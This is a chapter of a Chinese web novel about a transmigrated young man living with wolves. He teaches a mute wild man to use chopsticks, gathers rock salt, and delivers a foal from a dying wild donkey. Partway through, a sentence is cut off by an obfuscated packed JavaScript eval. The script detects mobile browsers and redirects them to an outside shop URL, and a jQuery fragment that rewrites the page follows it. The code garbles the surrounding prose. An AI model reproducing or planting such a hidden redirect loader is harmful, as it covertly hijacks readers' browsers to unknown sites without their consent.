13.第13章
作品:《狼神的夫郎[穿越]》 等到那道身影走得近了,林星竹才看清楚那个野人的模样。
那日晕倒前,他只模糊看见一道人影,身形高大皮肤黝黑,腰下裹着一块兽皮,所以把那人称作野人。
他也确实是一副野人的样子,身体比寻常的人更高更壮,臂膀和胸肌几乎鼓了起来,一头乌黑如波浪的卷发,长长地披在脑后,额头上系着一根草绳,草绳上点缀着不知道什么鸟儿的羽毛。
除了一块包裹在腰部以下的兽皮,他的身上什么都没穿,肩膀和胸前都绘着某种奇特的图案,像是古老异族的图腾,其中一个图案像火焰一样,自小腹处没入兽皮下,充满了野性。
如果不是知道对方没有敌意,林星竹根本不敢和他靠近,这般强壮魁梧的野人,只有是同伴的时候才会有安全感。
想到此处,林星竹忽然觉得,能山里有个同伴也不错,他可以把人当成好兄弟。
野人比长得比山洞还高,进去的时候,稍微低了一下头,狼二看到他,摇了摇尾巴,连忙给他让出一个位置。
林星竹拿出一个陶碗,盛了满满一碗羊肉,又舀了一勺肉汤和蘑菇,双手捧着递过去,“你尝尝这个,我刚炖好的,蘑菇羊肉汤。”
明明对方才是这个山洞的主人,如今却跟身份调转了似的。
林星竹根本不知道,野人是因为觉得他害怕自己,所以才把这个地方让给了他,也因如此,每次来的时候都没有靠近。
看着野人接过陶碗,林星竹突然想起什么,又赶紧把一双用树枝做的筷子拿给他。
“差点给忘了。”林星竹把筷子放在他的碗上,“新做的,我还没有用过。”
昨天他特地用树枝削了两双木筷,便是想着野人来的时候拿给他用。
可野人拿着木筷,却只是握在手上,用筷尖叉起一块羊肉,送进嘴里。
林星竹算是看出来了,这个野人根本不会用筷子,不仅如此,他说了这么多话,对方都是一声不吭,他怀疑这个野人甚至不会说话。
不过想想也是,一直住在山里,又没有和人接触,根本不需要说话,这些陶锅陶碗看来和他想的一样,是以前的猎户留下来的。
林星竹捉着筷子,示范给他看,耐心地说道:“像我这样,不是握着它,要先把拇指放在这里,压在上面,再用它去夹肉。”
“这样只需要动筷尖就行,不用动筷头。”林星竹从自己碗里夹起一块羊肋条,放进他的陶碗里,“怎么样?你试试?”
野人看上去十分粗犷,学东西却很是细心,一会儿看着林星竹的脸,一会儿看着林星竹的手,手指慢慢在筷子上移动,没有半点儿不耐。
林星竹看着野人重新捉住筷子,稳稳夹起刚才那块羊肋条,又夹回了他的碗里,在心里满意地点点头。
不错,学得很快,这样以后教起来也不麻烦。
刚才天太黑,林星竹没看仔细,这会儿在火光的映照下,他才看清了野人的长相。
是一张十分立体的脸,五官挺拔,眼窝深邃,唇形偏薄,带着一种异族特色。
嗯……长的挺帅。
在野人第二次给他夹肉的时候,林星竹回过了神,移开捧在手里的陶碗打断他,“你吃就是,锅里还有。”
见野人已经吃了大半,他说着,又给野人添了半碗。
夜风微冷,喝上一碗热乎乎的肉汤,浑身上下顿时暖和极了。
山洞外,狼群闻着香味也跟了过来,却像是畏惧什么似的,都蹲坐在洞口没有擅自进去,一双双眼睛冒着幽绿的光。
林星竹连着喝了两碗肉汤,知道山洞外的狼也饿了,站起来把烤好的羊排分给它们。
他先切了一块大的给狼大,洞口的狼大看了一眼坐在火堆旁的野人,才叼过林星竹递来的羊肉。
后面的狼十分自觉地排成长队,井然有序地等着投喂,叼到羊肉的狼立马跑到另一边,吃着属于自己的美味。
不一会儿,烤好的羊排便分光了,在分完之前,林星竹留了两块,一块自己吃,另一块给了野人。
羊排被烤得外酥里嫩,外皮焦香,内里多汁,一口咬下去,混合着百里香和迷迭香的油脂顿时溢满齿间。
这是林星竹第一次尝试反复涂抹香料炙烤,结果证明这样烤肉确实更好吃,羊肉已经完全吸收了香料的味道,入口辛香浓郁。
虽然有了辣味,却没有咸味,滋味上稍微差了一点。
林星竹想到这里轻叹了口气,见野人用有些探究的目光打量自己,脑中灵机一动,问道:“你知道哪里有岩盐吗?”
野人微皱了下眉,露出有些困惑和不解的眼神。
林星竹一看便知他这是没听懂自己说的话,一边指着羊肉比划,一边解释道:“就是盐巴,用来烤肉肉会更香更美味,盐的味道就是咸的,咸味你知道吗?”
野人点了下头。
知道什么是咸味就好办,林星竹接着指了指洞壁,“岩盐就是从岩石上析出来的盐,一般都在崖壁上,颜色是纯白的,野羊野鹿都会去岩石上舔。”
不知道野人有没有听懂,反正大概就是这个意思。
他刚说完,野人便腾地站了起来,差点把林星竹吓了一跳。
野人看了眼他,示意他跟上,随后拨开洞口垂落的藤蔓走出了山洞。
看这样子他应该是知道哪里有岩盐了。
不过现在就去?这野人看来还是一个行动派。
林星竹连忙跟在他身后出去,他好不容易让野人现了身,可不能跟丢了,晚上去就晚上去吧,有野人在,那些野兽应该不敢靠近。
山洞外的狼刚吃完羊肉,有的还在舔着嘴回味,有的仍抱着那根骨头咬来咬去,还有的闭着眼睛一脸餍足。
只有狼大端正地蹲坐在草地上,永远都是一副威风凛凛的样子,在看到野人朝它走近,慢慢俯下身来。
林星竹正一头雾水,在想野人要带他去找岩盐,下一瞬,便见野人翻身骑上了狼大的狼背。
而在他的面前,狼二也蹲下了身,一双眼睛看着他,示意他像野人一样坐上去。
“等我一下!”
眼看着野人骑着狼大走在了前面,林星竹没有犹豫,急忙回山洞带上背篓,跟着骑上了狼背。
这不是林星竹第一次骑上狼背,那天晕倒时他好像也坐过,当然,不是骑,是整个身子横着趴在狼背上。
不知道是狼大还是狼二。
两头狼载着两人在深林间疾驰,夜风迎面吹来,擦过脸颊时带着一阵凉意,把林星竹的头发吹得凌乱飞扬。
林星竹下意识双手抱住狼二的脖子,低下头去,把脸贴在它厚实的狼毛上。
过了一会儿,他们似乎已经跑出了深林,跃下山坡,来到了一处宽阔且稍显平坦的山坡。
四周都是石头和草地,树木低小,一望无垠,他们好像正在朝着雪山的方向前进,离那座积着皑皑白雪的山峰越来越近。
今晚没有白云,也没有星子,只有一轮格外透亮的月盘,银白色的月光温柔洒落,将群山与森林照得亮若白昼。
林星竹本来还把头埋在狼背上,见四周亮了起来,不由地抬起了脸,欣赏着月色下的寂静群山。
在他原本的那个世界,大气层被人类污染破坏,空气被雾霾笼罩,那个钢筋水泥构筑的城市里,他已经很久没有见过这般明亮的月色了。
林星竹正入神地观望着,身下的狼背忽地一耸,差点把他颠了下去,他连忙收回神,紧紧抱住狼二的脖子。
他们已经离开了稍微平坦的草地,开始往雪山上前行,野人和狼大跑得远了,停在半山腰的一棵杉树下等着。
雪山上并非全是积雪,也有树林和草地,积雪都是山顶上,他们停下的地方离山顶还有很长一段路。
待到他们走近后,野人骑着狼大继续往前走,直到走到一片如荒野般空旷的洼地,才停了下来。
林星竹从地形判断,这里应该是一片干涸的湖床,皎洁的月光照着巍峨的雪山,四周的景象依稀可见。
野人从狼大背上下去,走到湖床边,弯腰捡起一块石头,走过来递到他手上。
林星竹跟着滑下狼二的后背,接到手里一看,石头几乎透明,没有其他颜色,他又轻轻舔了下,果然带有咸味。
这正是他要找的岩盐,而且十分纯正,里面没有一点儿杂质。
野人看了眼他,指了指石头,似乎在问他是不是这个东西。
林星竹随即点头:“对,就是这个。”
幸好他带了背篓来,可以多捡一些回去,磨成细末存放,能用上好久。
他把石头放进背篓里道:“我们多捡些回去,烤肉和炖汤都能用。”
有野人这个得力助手,两人不一会儿就捡了满满一篓。
石头到底比野果蘑菇重,这背篓他又编得不小,林星竹费了好大的劲儿,才把装满石头的背篓提了起来。
下一瞬,他的手上忽地一空,野人把背篓轻轻松松提了过去,背在了自己背后。
林星竹没有和他抢,他忽然觉得,以后能和野人在山里生活也不错,至少很多事都有人和他一起分担。
狼大狼二一直在旁边等着,等到他们捡完石头,主动走过来,趴在他们面前。
背篓里的石头太重,野人没有骑到狼大背上,而是背着背篓走下山,他腿长步子也快,林星竹只有坐在狼背上才能追上他。
他本想和野人一块儿走,但又怕自己拖累他,所幸骑在狼背上和他同路。
下山的路比上山更难走,他们走下雪山,对面的山坡上忽然传来一声狼嚎,狼群也下山了,好像在呼唤他们。
林星竹以为狼群是来接他们的,却见走在一旁的野人突然停下脚步,双眼目不转睛地看着对面山坡上的草地。
林星竹顺着他的视线看去,远处的草地上好像有什么动物正在追逐,甚至不止一头,皎洁明亮的月色像薄纱一样笼罩着大地,令人看不清晰。
直到看到一双暗红色的瞳孔,林星竹才反应过来,对面山坡上的动物,正是那头在狼神庙攻击他的黑狼。
而此刻黑狼正在草地上追赶着一群别的动物,看上去不像是在捕食,更像是犯了什么疯病。
林星竹正犹豫要不要继续往前走,身旁的野人在这时把后背的背篓卸下来,他连忙接到自己手上。
野人看了眼他,什么也没说,林星竹却在瞬间明白了他的意思,“你去吧,小心点。”
野人点了下头,迈开脚步,狼大十分默契地在他面前趴下,让他坐上了自己的后背。
林星竹和狼二仍在原地,看着野人骑上狼大,毫不犹豫冲向山坡上的那头黑狼。
狼大嗷呜叫了一声,对面山坡上的狼群随即回应,霎时间,狼嗥声响彻山谷,回荡在群山之间。
群狼出动,将山坡上的黑狼团团包围,而在它们赶到之前,被黑狼攻击的动物们早已四处逃窜,只有几头受伤的躺在地上。
林星竹不想影响到它们,没有前去,只站在原地远远看着,那头黑狼似犯了疯病一样,狼群根本无法近身。
可包围的狼实在是太多了,黑狼同时也无法攻击,只能冲着狼群发出低沉凶狠的怒吼。
最后,黑狼寻了一个空隙,冲出了包围的狼群,朝着另一边的山坡上跑去。
林星竹一开始见它朝自己跑来,差点被吓了一跳,又见它转了个弯,掉头去了另一座山头,才又松了口气。
野人坐在狼大背上,领着狼群在后面追赶,矫健的身影逐渐在消失在视野之中。
林星竹觉得,以野人的箭法,不可能对付不了黑狼,倒像是有所顾忌,所以才让黑狼一次次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650628|206830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逃脱。
趁着黑狼逃走的时候,他轻轻摸了下狼二的头,示意它继续往前走。
背篓里的石头他一个人背不动,只能想办法放在狼二背上,一人一狼不紧不慢地走向山坡。
越是靠近,山坡上的血腥味越重,是刚才被黑狼发疯咬伤的动物。
林星竹走近一看,才发现是两头野驴,一头已经被咬死了,脖子上全是血,两条腿弯曲着卡在石缝里,想来是卡住了,才会被黑狼追上。
他扭头去看向另一边,另一头野驴仍活着,不停喘着粗气,它的脖子也被咬了一个大洞,血流不止,看上去也活不了多久了。
林星竹的目光从它又黑又亮的眼睛缓缓下移,落在它鼓起来的腹部上,他几乎一眼便认了出来,这是那头他在山沟里救下的母驴。
他以为他们不会再见了,就算再见,也是在母驴生下小驴之后,却没想到会是眼前这样的场景。
母驴好似认出了他,眼睛一直盯着他的脸,似是因为伤口太痛,一直在喘气,气息也越来越微弱。
或许是救过一次,林星竹怎么也狠不下心来放弃。
他连忙放下后背的背篓,咬牙撕下衣摆的一块布条,蹲在母驴面前,试图帮它止血。
他在末世时帮人做过急救,知道迅速止血的方法,可从来没有对动物使用过。
很快,林星竹又有新的难题,他发现母驴的腹部下坠膨大,尾巴根还沾着湿痕,这是即将分娩的迹象,他以前看父亲帮农场的动物们接生过。
这里是荒野,什么都没有,他必须赶紧回到山洞。
林星竹用布条勉强止住血,双手沾着血迹,抬头看向狼二,“能先把它驮回去吗?”
狼二看了眼他,走到母驴跟前,趴下身子。
林星竹知道他这是答应了,没有迟疑,又撕下一块布条,小心又吃力地把母驴搬到狼二的背上,用布条捆绑好,以免它跌到地上再次受伤。
知道他们是在帮自己,母驴只是喘着气,躺在狼背上一动也不动。
狼二驮着母驴先回了山洞,林星竹在原地休息了片刻,背上装满石头的背篓,在后面慢慢走回去。
山坡上有野驴的尸体,他怕血腥味引来别的野兽,狼二又没在身边,所以根本不敢在山坡多留。
他的手上沾着母驴的血迹,扯了把野草擦了擦,走一段路便歇一会儿。
远处的群山一片寂静,月盘高高挂着天幕,耳边时不时传来虫鸣,好似什么都没发生过一样。
也不知道那个野人现在怎么样了,再怎么说,那也是一头狼,而且还是发疯失控的狼。
林星竹才从走下山坡,狼二就回来了,跑得太急,一副气喘吁吁的样子,看来它已经把母驴送到了山洞。
狼二像是看出他要救那头母驴,走到他面前,都来不及歇息,便趴下了身子。
失血的母驴马上就要生产,林星竹怕回去得太晚,只得骑上狼二的后背。
他轻轻摸了摸身下的狼毛,温声说道:“辛苦你了。”
狼二吐着舌头,驮着他站起来,迈开脚,奔跑在落叶堆积的丛林之间,月亮在身后越变越远。
回到山洞,火堆还没有熄,狼二直接累得趴在了地上,小狼听见动静,从熟睡中醒来,想要去舔母驴身上的血迹,被狼二叼着后颈肉扔在了一边。
林星竹顾不上照看它,连忙放下背篓,去查看地上母驴的情况。
母驴的气息变得比之前更弱了,身下流了一滩水痕,哪怕在生命的最后一刻,它也没有放弃肚子里的幼崽。
林星竹没有亲自给动物接生过,只在小时候看过父亲给牛羊接生的样子,凭着模糊的记忆,将受伤的母驴轻手轻脚挪在干燥温暖的兽皮上。
刚出生的小驴需要及时保暖,不然容易失温,一不小心就会夭折。
母驴有些痛苦地弓着腰,尾巴根处的水痕越来越多,林星竹扶着它的身体,帮它托着已经露出头和前蹄的小驴。
小驴的嘴和鼻子上都黏着粘液,他又拿了块兽皮仔细擦干净,以免小驴呛入羊水闷死。
母驴似乎没有力气了,小驴还剩一半没有出来,林星竹不免有些着急,但他不敢轻易拉扯,这样很容易导致难产。
他只能温声安抚母驴:“快了,马上就出来了。”
母驴睁着又大又亮的眼睛看着他,像听懂了他的话一样,身体再次慢慢抽动起来。
林星竹托着小驴的头,随着它抽动的动作,轻轻地往外拽动,在母驴即将力竭之时,小驴的后蹄和尾巴也终于出来了。
林星竹累得满头大汗,坐在地上歇了口气,他来不及擦汗,赶紧用兽皮给刚出生的小驴擦着身上的羊水,擦完把小驴裹在兽皮里,放在母驴的面前。
母驴身上的伤口再次渗出血来,鲜血几乎染透了布条,刚才的生产耗尽了它所有的力气。
它慢慢转动眼珠,看向面前被兽皮包裹的小驴,这是它刚生出来的幼崽,可是它却无法再看着它长大。
它伸出舌头,用最后的力气朝着小驴挪了挪,温柔且眷念地轻轻舔舐着。
小驴本能地往自己母亲身边靠去,颤巍巍地想要站起来,可它才出生,根本使不上力气。
林星竹知道自己这一次救不了母驴了,只能在旁边看着它和小驴最后的相处,直到母驴的身体逐渐变得僵硬。
在闭上眼睛之前,母驴把目光转向了他,定定看着他的脸,林星竹知道,它这是想把小驴托付给自己。
他慢慢抚上它的眼睛,温声说了一句:“放心,我会照顾好它的。”
夜风静静吹着,似一曲悲凉悠长的胡笳。
小驴好似感应到了什么,突然有了力气一般,拼命地往母驴身边蹭着,想要唤醒它的母亲。
可它的母亲已经沉沉睡去,永远都无法回应它。

